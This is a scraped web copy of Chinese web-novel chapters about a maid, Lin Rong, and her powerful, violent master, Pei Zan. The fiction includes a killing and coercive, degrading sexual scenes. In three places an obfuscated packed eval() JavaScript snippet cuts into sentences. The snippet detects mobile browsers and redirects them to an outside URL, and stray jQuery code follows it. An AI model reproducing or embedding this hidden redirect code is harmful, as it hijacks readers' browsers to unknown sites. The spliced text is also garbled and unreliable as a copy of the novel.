想来是有什么缘故。 刘青山兀自纳闷,一看气喘吁吁跟来的富贵,立马茅塞顿开。 刘青山气得牙痒痒,心道:原来是这个小子出门搬的救兵!看他回到裴府会不会打死他! 富贵闻言,怒不可遏,连忙道:“大少爷别听他胡说八道,奴才分明看到他下药掳走蓉姐姐!” 二人吵作一团,裴瓒却充耳不闻。 男人低头,一双寡情的墨瞳静静望着林蓉,许是他投来的视线太过寒冽,林蓉有些吃不消,忙哑声道谢:“多谢大少爷救命之恩……” 没等她给裴瓒磕头,男人已然低头,意有所指地问:“那日的避子汤药……便是为他饮下的?” 林蓉被裴瓒问得发懵,脑子转了好几圈,才反应过来,裴瓒说的是前些日子外院送鱼的那回……裴瓒踩上了她散落一地的避子汤药材。 唉,原来他博览群书,深谙医术,早知那是避子汤了。 林蓉又古怪地看了裴瓒一眼。 男人神色镇定,冷漠如常,她猜不透他的所思所想。 前一夜,林蓉承了裴瓒的雨露,后一天,她的避子汤药被裴瓒撞破……前因后果,很难猜吗?还是说,裴瓒压根儿就没意识到她就是那个承宠的小丫鬟,故而有此一问? 林蓉闹不明白主子的想法,但她老实巴交地摇头:“不是,奴婢与他没有任何关系。” 裴瓒轻扯唇角,意味深长地道:“既如此,便是个满口胡言的刁奴,可要取他性命?” 林蓉被主子突如其来的一句话问懵了。 裴瓒说话,虽是有商有量, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林蓉也惊愕不已,她吓得手足无措。 这是林蓉第一次看到杀人的场景,太过血腥,太过冲击。 她丢了舌头,失了言语,哑口无言。 林蓉眼睁睁看着刘青山为了活命,在地上挣扎,他苟延残喘,费尽心思爬向她。 没等这具残尸靠近,一只墨色长靴悄无声息踩上了那一只染血的手。 咯吱一声。 裴瓒踏着刘青山的指骨,制止他叨扰林蓉的动作。 “你该求的人……是爷。” 刘青山仰头,犹如一只卑贱蝼蚁一般,呆呆看了裴瓒一眼。 裴瓒愉悦地低头,黑峻峻的长发垂落。 男人生得唇红齿白,沈腰潘鬓,身穿飘逸衫袍,晕着一轮皎洁月亮,霜月的光华盛大,好似佛陀降世。 那一只践踏肉身的脚,渐渐加重了力道。 裴瓒心狠手辣,动刀毫不留情。 刘青山丧失了所有言语。 他自知回天乏术,只能眼睁睁看着自己的鲜血流淌一地。 月夜愈发静谧。 刘青山所有的生机泯灭。 他的瞳仁涣散,痛苦万分,就此狼狈地死在了寂静的夜里。 裴瓒慢条斯理地收脚,沉声问林蓉:“可解气了?” 林蓉的脸色苍白如纸,她不敢看裴瓒,只觉毛骨悚然。 她知道,大少爷没做错什么。 刘青山罪有应得,裴瓒是在惩恶扬善。 可裴瓒仅仅微弯唇角,信手掷刃,就将一名奴仆残杀于此,到底手段残忍。 也是这时,林蓉才清楚明白,裴瓒两次问话,都并非想要征得她的同意。 裴瓒不过玩心四起,他觉得有趣,蓄意戏弄旁人。 他早就存了疯魔的杀心。 12. 第十二章 第十二章 林蓉受过一场惊吓,喉头泛酸,又要再呕。可她吐无可吐,泡水的寒意又涌上心肺。 林蓉的视线渐渐模糊,竟这么一头栽倒,晕了过去。 富贵见状,急得大喊:“蓉姐姐!” 他虽瘦小,但也是十五岁的少年人,背一个孱弱纤细的小姑娘绰绰有余。 没等富贵碰到林蓉,一抹高挺玉立的身影已然将他格开。 富贵被男人遒劲的臂骨一撞,踉跄两步,错愕地捂住阵阵发疼的胸口。 裴瓒视若无睹,只伸手拽起林蓉伶仃的手臂,又揽住她的纤腰,就此将人稳稳搂抱入怀。 林蓉吹了风,浸了水,额头上的撞伤红肿,鼓起一丝血肉。乌黑的湿发如蛇蜿蜒,垂落鬓角,甚至含进林蓉泛白的唇瓣,瞧着何其可怜。 裴瓒掰过女孩尖尖的下颌,屈指捋开那一丝黑发。 许是头发丝儿沾着额头的伤口,裴瓒下手又没轻重,这点拨弄也弄疼了林蓉,惹得她在昏睡中还低低痛吟了声。 裴瓒微眯凤眼,若有所思地打量林蓉。 此女当真心狠,也不怕破相。 这般心肠冷硬,倒让裴瓒觉出几分趣味。 早在外院相撞那次,裴瓒便认出林蓉就是那一夜承宠的丫鬟。 裴瓒不动声色,不过是想弄明白……为何林蓉放着滔天的荣宠不要,偏犟着性子,回到外院的犄角旮旯地干粗活,还为了避子,特意买来汤药服下。 是林蓉生来卑贱,很有自知之明,不敢高攀主家;还是她一个人微言轻的奴仆,也敢生出傲气,不知死活地挑拣起家中主子。 裴瓒思索无果,抱着林蓉上马。 单臂挽缰时,裴瓒腕骨上那串菩提木佛珠,被风吹得一荡一荡,无情地磕在林蓉歪下的额头。 裴瓒搂人的这一幕,看得富贵目瞪口呆。 “怎么回事啊?”少年郎发了好一会儿怔忪,才敢慢吞吞地跟上大少爷。 若是之前,富贵还能自欺欺人地以为,裴瓒出手相帮,不过是偶尔生出了一点好心。 可现在,裴瓒身为朝堂勋贵,竟肯纡尊降贵,亲自抱一名婢子回院……怎么看都有猫腻。 电光石火间,富贵想起之前的事。 在梅林的时候,裴瓒一听到“蓉姐姐”的名字,便脸色发沉……他分明认识林蓉! 难不成大少爷和蓉姐姐其实有私? - 林蓉这一觉睡得并不踏实,时而觉察脸上划过些许微凉之物,时而闻到渐浓熏人的清苦檀香。 屋里的烛光雪亮,林蓉被火光刺痛双眼,施施然醒转。竟发现自己睡在一张铺陈软垫的美人榻上,雪臂压一块薄薄毛毯,一侧的桌案还坐着一人。 林蓉定睛望去,那人黑发青衫,宽肩窄腰,生得俊秀不凡……居然是裴瓒! 林蓉吓了一跳,瞌睡少了大半,一时不察竟从榻上滚了下去。 林蓉摔疼了,却不敢叫嚷。 她挪膝靠近,战战兢兢喊了声:“大少爷……” “醒了?”裴瓒正在翻阅渝州送来的军务文书,他目不斜视,只屈指敲了敲紫檀木桌案上的那碗姜汤,“喝了。” 林蓉不敢违抗主令,忙端起放凉的姜汤,一饮而尽。 林蓉神魂归体,不过转念一想,就猜到了事情的全貌。定是她体力不济晕在雪地里,又劳裴瓒送回宅院。 裴瓒本可以不管她死活,但他还是倾力搭救……这般一想,裴瓒虽心狠手辣些,却也算个好人。 林蓉心中稍定,给裴瓒磕头道谢:“多谢大少爷襄助,大少爷的恩情,奴婢没齿难忘。” “不过举手之劳。”裴瓒俨然在忙军务,淡道一句,不再理她。 林蓉虽不识字,但也知道主子夙夜在公,很是辛苦。 她不好在旁叨扰,识相地提出告退。 裴瓒摆手,允了她。 - 林蓉从大少爷的房中走出来,她想起前因后果,深知富贵今晚立了大功。 林蓉先去探望富贵,和他道谢:“今晚多谢你帮我求来大少爷,不然我真不知会发生什么事……” 想到刘青山的癫狂,林蓉还有点惊魂未定,不由哆嗦了一下。 富贵傻笑挠头,安抚林蓉:“我从前挨打,也是阿姐出面搭救,这点小忙算什么?我一直记得,从前我在外院罚跪,阿姐怕我冻伤,大半夜还偷拿馒头给我吃,甚至给我送来了暖身的羊汤。” 富贵永远都忘不了,他在府里受罚,举目无亲,孤立无援,林蓉还敢冒着被刘管事针对的风险,特意给他送来热乎的馒头,甚至将她难得分到的一碗冬瓜羊肉汤端来,一勺一勺喂给手冻僵了拿不了汤勺的富贵喝。 富贵没有林蓉那么善良,他并非待谁都好。富贵是个见风使舵的聪明人,他很懂怎么向上爬,但富贵领过林蓉的恩情,这辈子他唯一不会背叛的人也只有林蓉。 富贵想到那一具被送回别院的尸体,心里焦虑不安。 刘管事得知儿子的死讯,定会闹开,待会儿估计还有一场阵仗要打呢。 富贵忧心忡忡地道:“阿姐,大少爷是个好人,待你也善心肠,若是阿姐之后想找个倚仗,不妨跟着大少爷吧?” 林蓉不知富贵为何有此感慨,但她想到裴瓒百忙之中还能抽空救人,心中确实千般感激。 只是她不想再打扰裴瓒,以免欠下更多的人情债。 林蓉没应这话,她劝富贵好好休息,她要先上灶房一趟看看情况。 刘管事找不到林蓉,一定会去寻赵婆子的麻烦,她不能把阿婆推出去。 果不其然,等林蓉来到灶房的时候,外院已经闹得不可开交。 院子里挤满了看热闹的裴府奴仆,到处都是灼目的火把,持械的护院小厮。 刘管事带了几个人高马大的家丁压阵,他双目赤红,脸上老泪纵横,手背上爆开青筋,死死抓住赵婆子的衣襟,恨得目眦欲裂。 “快把林蓉交出来!让那个贱人给我儿陪葬!” 赵婆子也是多年的老仆,年轻时是个火爆脾气,没少和人吵嘴,她骤被推搡,气得一巴掌摔到刘管事脸上。 “老刘头,你疯了不成?!你死了儿子,拿我们蓉丫头撒什么气?!再吵嚷,我就喊主子来评评理!看看是你命硬,还是老婆子我命硬!” 刘管事闻言便噤了声,他再蠢也知,这件事儿主子定然知情,不然也不会深更半夜还让人用牛车,将刘青山的尸身拉回别院。 可刘管事就这么一个独苗苗,让他眼睁睁看着儿子枉死,他不甘心呐! 刘管事刚要吵嘴,远远瞥见那个细弱娇软的身影,火气直冲脑门。 “林蓉,你还敢来!” 刘管事声嘶力竭地叫喊,“贱人,枉我儿口口声声要迎你进门,你竟将他克死了!看我今儿不打死你!” 没等刘管事出手,一名身材魁梧的壮汉快步上前,拦住了刘管事的动作。 不等刘管事躲闪,一记窝心脚踹出,直将刘管事踢进了雪地里,插.得两脚朝天。 “哎哟?!谁踹老子?!”刘管事在角落里打滚,疼得直叫唤。 林蓉忽然被人搭救,亦是丈二和尚摸不着头脑,懵在原地。 没多时,玉尘院的冯叔提灯行来,他凉凉地瞥一眼地上打滚的刘管事,讽道:“刘青山夜半入山,冒犯大少爷,没被诛族都是轻的了,你这老货还敢在外院大放厥词,是不想要命了?大少爷说了,裴府外院养不得这么不敬主的奴,赶紧的吧,今晚就收拾包袱,滚回乡下看庄子去。” 冯叔一句命令,立马来了几人,一左一右架住刘管事,硬生生将他拖远了。 刘管事被抓住手脚的那一瞬,顿时一句话都不敢说了。 他知道大少爷这是动真格的了。 刘管事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484320|185665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即便满心为儿子报仇的念想,也不敢将自己的命搭上。 事已至此,他也只能两眼发直,蔫如地里的烂菜,一声不吭任人拖走。 林蓉远远看着这一幕,心头深寒,莫名生出了一点“兔死狐悲、唇寒齿亡”的感慨……这就是奴仆的命,他们签下死契,长于高门大院,一条命微不足道,全掌在生杀予夺的主子手中。 林蓉两眼发直,冯叔还当她是被人吓傻了,心中不免怜惜。 他叹了一口气,安慰林蓉:“刘青山罪恶深重,自己犯了混被天人菩萨收去,怨不得你。好了,蓉丫头,收拾收拾衣裳,同我一道儿上大少爷院子吧!此前几次,你布膳精细,伺候用心,大少爷瞧着受用,特命你往后都去大房做事呢。” 冯叔亲自来外院接人,可见对林蓉的器重。 一时之间,旁观的奴仆们全变了脸色,各个艳羡地看着林蓉,暗道她当真时来运转,如今麻雀变凤凰了! 就连赵婆子也扬眉吐气,她笑着握住林蓉的手:“傻丫头,还不快谢谢冯管事的栽培?能去玉尘院做事,多大的体面,你可要牢牢把握住了。” 林蓉樱唇微微翕动,她脸色发白,勉强挤出一个笑容,对冯叔道谢:“多谢冯管事关照……我一定好好伺候大少爷,不敢有半分懈怠。” 冯叔听着满意极了,他朝林蓉和蔼一笑,“行了,客套话也不说了,快些收拾好东西,上大少爷跟前谢恩去吧!” “好……我这就来。” 不过一炷香的路程,林蓉又被冯叔引着,进了那间裴瓒的寝房。 屋内设了一架黑漆竹梅纹屏风,六扇画屏大敞,隔开了柳叶纹的床架子。 一侧书桌,置了一盆诗意的玉石枯莲,一高一低的两枝荷茎错落摇曳,花叶光影透出烛火,映在裴瓒压低了的秀致眉眼,更添几分冷寂与孤清。 男人批阅几卷军情急报,又信手放飞了一只送线报的黑隼。 如此折腾许久,裴瓒方才注意到林蓉候于下首,他不疾不徐地道了句:“回来了。” 寥寥数字,竟让林蓉生出一种隐秘的错觉……仿佛她的一切尽在裴瓒掌握,他料准了她会回来。 林蓉低眉顺目:“是,冯管事命奴婢来给大少爷问安,您可有事吩咐?” 裴瓒没抬首,他仿佛对林蓉不感兴趣,只漠然道:“我这儿无需人伺候,退下吧。至于夜里安置的事,你去寻那个名唤‘绿珠’的丫鬟,命她安排便是。” 不知想到什么,裴瓒竟扯了下唇角,笑意微冷:“想来你们二人相熟,情同姐妹,她总会多多关照你一二。” 此言一出,饶是林蓉再镇定,也要被裴瓒话里话外的一番敲打,吓出满身的白毛汗。 林蓉毛骨悚然,鼻翼生汗,手臂不断浮起一重鸡皮疙瘩。 林蓉不免胡思乱想,猜测裴瓒是不是早知她就是那夜承宠的丫鬟,他是否故意将她困在玉尘院? 可裴瓒除此之外,也没有表现出对林蓉兴师问罪的意思,倒让她有些丈二和尚摸不着头脑了。 林蓉心绪纷乱,她躬身告退。 待林蓉再次步入苍茫的雪夜,她终是被凛冽冬风,冻得回魂。 林蓉不能确定裴瓒知情,但她想好了,只要她不碍着裴瓒的眼,也不要被裴瓒纳为侍妾,她就有赎身离府的机会。 林蓉不过是外院一粗使丫鬟,实在不值当手眼通天的裴大都督,特意赏赐她一个妾位。 裴瓒不提,她就权当不知,先混过这半月再说。 半个月后,裴瓒上京述职之时,便是林蓉赎身出府之日。 想到这里,林蓉松了一口气。 为今之计,唯有多多攒钱,尽快赎身,离开裴府。 林蓉心中又燃起了希望,她会好好等到重获自由的那天。 毕竟,她经历刘青山一事,吃到太多教训,受到太多惊吓。 林蓉再也不想为奴为婢了。 13. 第十三章 第十三章 裴家各院伺候的大丫鬟都会有单独的一间房。 这两天待在谢家别院,绿珠找不到空房给林蓉睡,只能喊她过来同宿。 玉尘院里没有婢子做事,唯有一个绿珠在院内侍奉,兼之裴瓒不喜旁人伺候,害得绿珠每次收拾炉灰、递送衣物,都得趁裴瓒不在院中的时候行事。 现在好了,来了一个她相熟的小姐妹,绿珠再也不会成日里胆战心惊了。 两个丫鬟洗完澡后,躺在床上抵足而眠。 绿珠是个宅子里长大的人精,她想到今天的见闻,揶揄地道:“我看大少爷聪慧得很,保不准已经发现你就是那夜承宠的小丫头了。” 闻言,林蓉愁眉苦脸地叹气:“可别……我还想着有朝一日能出府呢。” 绿珠没想到她还是这般死脑筋,但人各有志,绿珠也没多说什么,安慰了担惊受怕一整天的林蓉一句。 “不过你也放心,你要是真想赎身出府,这半个月好好侍奉,别惹大少爷,应该没人能阻你……我听人说,大少爷和大夫人不对付,不会带裴府的人走的。” 林蓉的杏眸瞬间亮起:“此话当真?” “当然了,不信你看,这次大少爷回玉尘院,哪里用过裴家的下人,只你我两个,都算是格外开恩了。再说了,若他真的认出了你,怎会不提纳妾事宜?想来是那晚兴头上想给你一个位份,后来清醒了又觉不值当,便默默作罢了。” 绿珠同情地看了林蓉一眼,生怕这种残酷的话会伤到小姑娘的自尊心。 毕竟谁都知道奴婢的身份低良家子一等,她们连给裴瓒做妾的资格都没有。 绿珠看林蓉呆呆傻傻,又给她传授了几句:“男人床笫间说的话都不能当真,你可得给我记好了,免得往后又被人诓骗了。” 林蓉连连点头,终于在这一刻放下了心。 裴瓒心思重,秉性多疑,他与沈氏有旧怨,不信沈氏留下的人。能随他去都督府侍奉的奴仆,都是裴瓒一手调教的心腹。 自小在裴府长大的林蓉,自然不在此列。 - 那天落水回来后,林蓉还是受冻发了热,好在几帖药服下,她的寒症渐渐好起来。 待林蓉好齐全,已是两天后,裴家主子们结束了谢家别院的玩乐,一齐回到了裴府。 回了玉尘院,绿珠给林蓉安排了一间房,就设在后罩房附近,虽紧着放杂物的仓房,但胜在僻静幽暗,林蓉没什么不满意。 林蓉是第一次单独住一间房,瞧什么都新奇。 虽然知道这间屋子不过住小半个月,林蓉还是上街去扯了几尺头的碎花布,织了一块遮光的床帐,又将屋子里外的桌椅都擦了一遍,把旧衣叠进衣橱里。 林蓉推开门,看了一眼荒芜的院落,屋后有一大片空地,正好够摆几个酸菜缸。 住外院的时候,林蓉常有腌菜、腌萝卜,甚至是酿醋。 但现在,她待的是裴瓒的宝地儿玉尘院,酸菜、酸笋味重,飘到大少爷的寝房里,定要被主子治罪,想想还是算了。 林蓉如今成了内院丫鬟,自要添加衣食住行的份例儿,许是冯叔关照林蓉,晚间的时候,竟给她带了一身草珠红底锦缎袄裤,还另给她备了一身黄桂袄裙,衣料倒不贵重,胜在花样时兴,线脚紧密,便是二房的姨太太穿的也不过如此了。 林蓉诚惶诚恐地收衣,不免问了句:“这不年不节的,我怎能拿这么多的赏赐。” 冯叔笑道:“拿着吧,绿珠姑娘也有份儿。都是咱们院子里的大丫鬟了,走出去代表爷们儿的颜面,可不好再穿些旧衣裳,没的说大少爷苛待奴才的。” 冯叔的话不重,但她也听出了一点敲打,想来是平时她穿那些缝补过的旧衣,实在碍了裴瓒的眼。他看不下去,才会吩咐冯叔,为她们这些丫鬟备衣。 林蓉从善如流接下衣裳,想着今晚侍膳,她定要尽心竭力伺候好大少爷,以报他救命之恩。 没等林蓉上公厨提膳,大夫人便派人来寻林蓉,沈氏想见她一面。 林蓉不过是个外院的小喽啰,竟要面见府上主母,心中没有忐忑也是假的。 她赶紧换了一身新衣,收拾干净,快步走向沈氏居住的霜降院。 - 霜降院内,沈氏一边饮着红枣薏米甜汤,一边不动声色打量底下跪着的林蓉。 小丫鬟年纪瞧着轻,皮肤也干了些,一双手长年干活,指头不够尖细,粗糙得很。 唯独皮肤白,五官明丽,身姿玲珑丰腴,倒也算个美人胚子。 沈氏收回挑剔的目光,搁下碗,从奶嬷嬷奉上的梨花木托盘里挑拣出一支金镶玉宝葫芦簪,插.进林蓉的乌髻间。 见林蓉抬头,诚惶诚恐地扶簪,沈氏制止她的动作,朝她和蔼一笑,“莫要取下来,这簪子极衬你,好好收着吧。” 林蓉不蠢,她知道沈氏和裴瓒不睦,她既为玉尘院的丫鬟,又怎敢墙头草一般倒戈沈氏,收下她的东西。 林蓉战战兢兢得道:“奴婢无功无德,不敢收这般贵重之物。” 沈氏没想到这样一个外院调来的丫鬟,竟也是个眼高于顶的刺头,脸色顿时沉了下来。 好在还有奶嬷嬷在旁使眼色,小声劝告沈氏:紫烟栽里头了,绿珠又不中用,唯独这个丫鬟,是大少爷自个儿挑来的,还是得拿捏住了。万一被裴瓒带去都督府,那好歹也成沈氏的一条人脉了。 思及至此,沈氏沉下心,又温柔笑道:“你不必害怕,我唤你来,也不是想你办什么难差事,只是难得见瓒哥儿往院里塞人,想着瞧瞧你长什么样罢了。今晚一看,果真是个聪慧灵秀的姑娘,看着当真乖巧。” 若是寻常的丫鬟,听到沈氏这一番婆母相看妻妾的话,早就喜得心花怒放了。然而林蓉没有进裴瓒后宅的念想,闻言唯有满心惶恐,一句话都不敢应。 见林蓉一副呆头鹅的样子,沈氏的脸色愈发难看起来,但她好歹是执掌中馈多年的大奶奶,很快又恩威并施地敲打。 “蓉丫头,我与你有眼缘,也愿意多关照你一番。你应当知道,瓒哥儿再疼人,如今也不过是将你收进帐中玩玩,待日后,瓒哥儿定会娶一房高门正妻,光耀门楣。瓒哥儿官居高位,拎得清轻重,待主母奶奶进房,你当你还有好日子过吗?既是在宅子里混的,总得寻一门风吹不倒雨打不落的倚仗,你说是不是这个道理?” 林蓉读书不多,但不代表她愚钝蠢笨,她听懂了沈氏的话……沈氏分明以为,她是裴瓒心尖宠,裴瓒才会破格,特特把一个外院丫鬟调到内院。 但林蓉不想被困樊笼,她老实巴交地道:“大少爷收奴婢进院,不过是看奴婢遇难,太过可怜。奴婢自知位卑言轻,不敢兜搭大少爷,况且奴婢还想着,过段时日赎身出府……大夫人,奴婢已在乡下有了一门娃娃亲,家中人盼着奴婢明年攒够赎身银便回家去,和家人团聚,还请大夫人成全。” 林蓉的一番话,倒让沈氏愣在原地。 宁为富人妾,不做贫户妻的道理,难道林蓉不懂吗?既如此,她在犟哪门子的劲儿? 沈氏皱眉,狐疑打量她:“你这丫头傻了不成?” 林蓉送上金簪,硬着头皮瞎编出一句,“奴婢与张四哥情投意合,还望大太太成全。” 油盐不进的丫头,气煞她也! 沈氏无奈扶额,摆了摆手,恨铁不成钢地骂道:“……没想到你竟是个憨的!滚下去吧,听得我头疼。” 林蓉心中松一口气,面上又装作胆怯惊慌的样子,小声道:“是。” - 林蓉拒绝了府上掌家大太太的要求,此举太过冒进,但也是绝路逢生。 林蓉深知,她这样的搅事精,在外院已经待不下去,如今被裴瓒盯上,更是连内院都混不得。 她反正要离开裴家,早些让沈氏知情也好。这样日后再提起这件事,受到的阻碍或许会更小些。 夜里,裴瓒巡视军营后,回玉尘院用膳。 绿珠不敢给主子送食,便把这等近身侍奉的差事让给林蓉。 林蓉没有推拒,她提着食盒入内,利落地布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484321|185665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膳,还沥干了帕子,为裴瓒净手,端茶倒水。 本想着干完活,她就能离开了,怎料裴瓒瞥她一眼,竟难得唤住她——“林蓉。” 男人的声音清冷磁沉,如珠玉落盘。 这是裴瓒第一次唤她的名字,声线虽温润动听,却含着凛凛威严,令林蓉无所适从。 林蓉急忙回头:“奴婢在。” 裴瓒凤眸微抬,眼带审视,逡巡于林蓉那越低越深的颅顶,“今日,大太太来寻过你。” 笃定的语气。 林蓉心里咯噔一声。 她没料到裴瓒会问起这个。想来也是,裴瓒生性多疑,院中必是藏着诸多耳目,如有叛主之仆,早被他打死在内院了。 好在林蓉没有一人侍二主的念头,她并未被沈氏收买。 林蓉老老实实地回答:“大夫人的确传召了奴婢,不过大夫人没说旁的,只嘱咐奴婢几句定要好生服侍主子。如果大少爷真要问的话,大夫人倒是送了奴婢一支金簪,但我没收。” 听到这里,裴瓒原本阴沉的眸色渐散,他微阖目,拇指捻上腕骨念珠的穗子,饶有兴致地问:“为何不收?” “奴婢……是大少爷院中的人,我不能收旁人的信物。” 林蓉为人耿介,她一日为裴瓒的奴,便一日奉裴瓒为主,这是家仆的操守,也是她做人的本分,她决不会当背信弃义的小人。 听完这话,裴瓒不知在想什么,竟久久无言。 屋内的火盆烧得旺盛,热气缭绕,熏得林蓉后脊覆汗。 屋外,烟雨蒙蒙,雨声淅沥,沿着檐角悬挂的一串串莲花雨链滴落。剔透的雨珠溅在青石阶上,砸起点点水涡。 裴瓒一声不吭,林蓉嗅着那一股男人衫袍里渡来的雅香,渐渐心神不宁,心生忐忑。 下一刻,裴瓒的长指,突然掰过林蓉的下颌,手指微蜷,虎口施力,迫她抬头。 裴瓒的指腹微凉,捏脸的力道也渐次加重,漂亮的玉指碾在女孩软乎乎的颊侧,像是强行用外力帮她掐出了两个梨涡。 林蓉无措地仰脸,她忍着腮帮子微微泛起的痛感,望向裴瓒那双平静无波的眸子。 “大少爷?” 林蓉试图从裴瓒的眼里看出点什么,可她想到那一日射.进刘青云脖颈的利刃,她连与裴瓒对视的勇气都没有。 裴瓒语带告诫:“如你背主,我会杀你。” 林蓉很快败下阵来,她轻颤眼睫,连连点头,目光落在裴瓒线条苍劲、青筋鼓噪的手指上,不敢再窥视裴瓒的冷目…… 许是知道她胆小怯弱,裴瓒没有过多为难她,很快便松了手。 “倒杯茶来。”裴瓒命林蓉奉茶,给了她一个缓和气氛的机会。 林蓉求之不得,急忙起身沏茶。 然而,她还是太过慌张,做多错多。 林蓉一时足下不稳,竟将那一盏温凉的茶水尽数泼上了裴瓒的袖口。 茶香顷刻间氤氲满室。 绿茵茵的茶汤,顺着裴瓒筋骨漂亮的玉手延绵而下。 滴答、滴答。 一地湿濡。 裴瓒见状,薄唇微抿。 倒是头一次见到这般笨手笨脚的丫头……没经人调教的外院丫鬟,果然不堪大用。 林蓉诚惶诚恐,跪地求饶:“大少爷,奴婢并非存心冒犯,还请您大人有大量,莫要和奴婢计较。” 她狼狈地低头,一双杏眸死死盯着裴瓒那一只浸透了茶水的手,似是想帮他擦拭茶渍,又不敢伸手冒犯。 裴瓒垂眼,静静欣赏林蓉手足无措的狼狈模样。 女孩的眼尾微红,水光潋滟,再欺下去,恐怕要哭了。 裴瓒思索片刻,还是将那只被茶水沾湿了的玉手,递到林蓉的面前,轻碾上她的软唇。 林蓉的嘴角骤然受冻,她不明所以,胆战心惊抬头,看他一眼。 旋即,她听到裴瓒冷声开口,嗓音低沉寡欲。 他说—— “林蓉。” “……舔干净。” 14. 第十四章 第十四章 林蓉第一次听到这般折辱人的要求,竟一时愣在原地。 她两眼发直,看着那一只伸至眼前的手。 裴瓒皮肤很白,白皙如玉。手指很长,好似濯清涟而出的莲茎。 男人指骨微蜷,关节冷硬,于薄皮底下微鼓,极具磅礴的力量感。 裴瓒的掌心湿濡,染上一片林蓉方才泼上去的青绿茶水,仿佛刚从春池掬出一抔水。 诚然,裴瓒的手很好看,但林蓉一想到这只手曾持刀持剑,甚至是杀过人、浸过血,她便有些毛骨悚然,甚至还觉得那股清幽静谧的檀香,似乎也掺杂着微乎其微的血腥气。 林蓉不想被裴瓒轻贱,可她不能违抗主命。 她知道裴瓒是个专断独行的主子,虽平时说话还算温和平缓,但不代表他心善,脾气上佳。 若是惹恼了裴瓒,恐怕吃不了兜着走。 想到这里,林蓉只能逆来顺受地跪地,好整以暇地理一理膝下的衣袍,再轻轻托住裴瓒的手,低头舔.舐。 女孩的樱唇滚沸、舌.尖发软。 丁香小舌颜色绯红,带着靡丽的水光。 她细致地舔上裴瓒的手心,沿着那些细腻的掌纹轻扫而过,将那些淋漓的茶水,尽数卷入口中。 林蓉本以为这件事会很难承受,但其实还好,比她想象中要好。 裴瓒的手很干净,亦泛着浅浅的茶香。 待她吞下一寸指节的时候,甚至生出一种想要轻咬他指骨的冲动。 但林蓉不敢对主子不敬,那点肆意的恶意还是被她压到了心底。 许是林蓉做事实在蠢笨,连吮净茶水都废了好长的时间。 裴瓒只觉得眼前的女孩低垂眉眼的模样,更像是一只乖巧的猫崽子了。 他的手指深入地嵌进她湿滑的口腔,肉壁裹缠,温度很高,竟令他生出另一重难言的意动。 裴瓒微微阖目,还是收回了手,牵出一点黏丝。 他转而捏住林蓉的下巴。 裴瓒再次逼她抬头,冷静审视女孩眼里泛起的潋滟水光。 林蓉茫然地看着他,一双杏眸水淋淋的,带点不自知的柔媚,特别是细长眼尾处,因低头吻手,压出一点红霞湿潮,仿佛哭过。 不知为何,裴瓒气息微沉。 他缄默许久,薄唇微抿。 裴瓒漠然看她,如同无情无欲的神佛,面上不辨喜怒。 片刻后,他将粗粝带茧的拇指,重新覆上林蓉的唇瓣,再碾动女孩细密的唇缝…… 他将那些沾上手指的温热津唾,一点一点,又擦还给了林蓉。 “退下吧。”裴瓒放开林蓉,没有留她在旁侍奉。 林蓉今晚被裴瓒折腾得够呛,她也不欲久留,主子话音刚落,林蓉便小心翼翼离开了。 夜里,林蓉辗转反侧睡不着,又翻开匣子,清点了一番钱财。 上次从谢家别院回来,外院的奴仆都得了赏赐,林蓉也得了二两赏银,如今她已经有十五两二钱。 赎身银够了,再攒点上路的盘缠就足够离开这个龙潭虎穴了。 想到这里,林蓉抱着匣子入睡,做了一夜好梦。 翌日醒来,裴瓒照常离府务公,白日就林蓉和绿珠守着玉尘院。 差事实在轻省,绿珠闲到抱着一竹篓瓜子,坐台阶上慢慢磕起来。 倒是林蓉习惯忙碌,竟抽出扫帚,又上后院排屋那里扫雪去了。 绿珠笑骂她是个劳碌命,林蓉听了也不恼,反倒笑着说,我就是闲不下来的性子,阿姐能享福就多享福。 这傻乎乎的样子,听得绿珠心头软乎,把手里剥好的瓜子一颗颗喂给林蓉吃。 两个丫鬟谈天说地,倒也惬意。 只是没多时,玉尘院外竟来了一名不速之客。 林蓉和绿珠对视一眼,上前应门。 来人梳着高高的妇人髻,脸上覆粉,耳坠珠玉,面染红妆,穿一身禽蝶花卉纹提花绸袄裙,看着年纪和绿珠差不多,也是俏丽的女孩家。 林蓉认不出她是谁,但看她身后跟着的丫鬟,猜到是府上的宾客,忙恭恭敬敬地道:“小姐,这是大少爷的寝院,恐怕您寻错地方了。” 林蓉憨傻,以为一个已婚妇人决不会来寻裴瓒,定是寻错了。 倒是绿珠眼尖,立马认出此人是大夫人沈氏的侄女,沈佳。 绿珠之前就是大夫人沈氏的侍女,自然听过沈佳的事。 沈佳是裴瓒的表妹,比他小八岁,如今已有二十岁。 五年前,沈佳初初及笄,正是韶华年纪,豆蔻少女,沈氏有意将初长成的侄女指给裴瓒,特意将人送到渝州去见裴瓒。可裴瓒一心务公,并不领情,连沈佳的面都不愿见,便将她送回了江州。 沈佳自知芳心错付,为了挽回颜面,她匆忙定下婚事,赶在那年年底,与江州一户世家幺子成了婚。 